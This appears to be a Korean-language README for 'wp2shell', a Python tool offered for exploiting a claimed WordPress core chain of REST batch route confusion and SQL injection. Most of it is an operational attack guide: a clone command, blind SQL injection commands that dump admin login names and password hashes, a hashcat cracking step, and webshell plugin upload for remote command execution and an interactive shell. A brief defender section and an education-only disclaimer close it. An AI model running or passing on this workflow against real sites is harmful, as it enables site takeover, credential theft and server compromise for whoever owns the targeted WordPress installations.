
WordPress Core의 인증되지 않은 원격 코드 실행(RCE) 취약점을 통해 공격자는 CVE-2026-63030과 CVE-2026-60137을 연쇄적으로 사용하여 로그인 없이 임의 코드를 실행할 수 있으며, 이는 전체 사이트 손상으로 이어질 수 있습니다.
| 세부 항목 | 정보 |
|---|
| CVE | CVE-2026-63030 (REST API 배치 라우트 혼동) + CVE-2026-60137 (author__not_in SQLi) |
| 영향받는 버전 | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| 패치된 버전 | 6.9.5, 7.0.2 |
| 인증 필요 여부 | 없음 — 인증 불필요 |
| CVSS | 치명적 (RCE 체인) |
| 발견자 | Adam Kues (Assetnote / Searchlight Cyber) |
| 의존성 | Python 3.8+ — 표준 라이브러리만 사용 |
이 익스플로잇은 WordPress 코어의 두 가지 버그를 연결합니다:
CVE-2026-60137 — SQL 인젝션 – author__not_in이 배열 대신 문자열로 전달되면 WordPress는 is_array() 검증 가드를 건너뛰고 원시 값을 NOT IN (...) SQL 절에 직접 삽입합니다.
CVE-2026-63030 — 배치 라우트 혼동 – /wp-json/batch/v1 엔드포인트는 병렬 $matches 및 $validation 배열을 생성합니다. 잘못된 형식의 하위 요청이 $matches에는 추가되지 않고 $validation에만 추가되어 +1 인덱스 이동이 발생합니다. 하위 요청 i는 하위 요청 i+1의 핸들러로 처리됩니다.
체인으로 연결되면: author_exclude 문자열을 포함한 내부 GET /wp/v2/users 요청을 담은 POST /wp/v2/posts 요청은 메서드 허용 목록과 입력 검증을 모두 우회합니다. 해당 문자열은 author__not_in으로 WP_Query에 도달하여 SQL에 삽입되어 인증 없는 블라인드 SQL 인젝션을 가능하게 합니다.
이를 통해 도구는 다음을 수행할 수 있습니다:
| 기능 | 설명 |
|---|---|
| 취약점 확인 | 안전한 시간 지연 프로브 — 데이터를 읽지 않으며 아무것도 변경하지 않습니다 |
| 데이터 추출 | 효율적인 추출을 위한 이진 탐색 최적화를 사용한 블라인드 SQL 인젝션 |
| 사용자 해시 덤프 | wp_users에서 user_login 및 user_pass 해시 추출 |
| 원격 코드 실행 | 관리자로 인증, 웹셸 플러그인 업로드, 명령 실행 |
| 대화형 셸 | 지속적인 명령 실행 세션 |
| 색상 출력 | 스캔 결과에 대한 명확한 시각적 피드백 |
| 의존성 없음 | Python 표준 라이브러리만 사용 |
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
그게 전부입니다. 서드파티 패키지가 필요하지 않습니다.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
번호가 매겨진 옵션을 통해 모든 기능을 사용할 수 있는 대화형 메뉴를 시작합니다.
check — 취약점 확인 (안전)악용 가능 여부를 확인하기 위해 시간 지연 프로브를 수행합니다. 데이터를 읽지 않으며 아무것도 변경하지 않습니다.
./wp2shell.py http://target.com check
read — 데이터 추출 (블라인드 SQL 인젝션)시간 기반 블라인드 SQL 인젝션을 사용하여 데이터베이스에서 정보를 추출합니다.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — 원격 코드 실행유효한 관리자 자격 증명이 필요합니다. SQL 인젝션으로 비밀번호 해시를 복구할 수 있지만, 복구된 평문 비밀번호를 직접 입력해야 합니다.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
| 옵션 | 설명 |
|---|---|
--users | wp_users에서 user_login 및 user_pass 추출 |
--database | 현재 데이터베이스 이름 추출 |
--version | MySQL 버전 추출 |
--query "SQL" | 사용자 지정 SQL 쿼리 실행 (블라인드 추출) |
--user USER | RCE용 관리자 사용자 이름 |
--password PASS | RCE용 관리자 비밀번호 (SQLi를 통해 복구된 평문) |
--cmd CMD | 웹셸을 통해 실행할 명령 |
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| 브랜치 | 영향받는 버전 | 수정 버전 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (SQLi만 해당, RCE 없음) | 6.8.6 |
6.9.0 이전 버전은 전체 RCE 체인의 영향을 받지 않습니다.
방어자용:
requests 본문이 있는 POST /wp-json/batch/v1 요청을 모니터링하세요404가 항상 "패치됨"을 의미하지는 않습니다 — WAF/CDN이 익명 REST API 접근을 차단하고 있을 수도 있습니다.이 도구는 교육 및 공인된 보안 테스트 목적으로만 사용해야 합니다.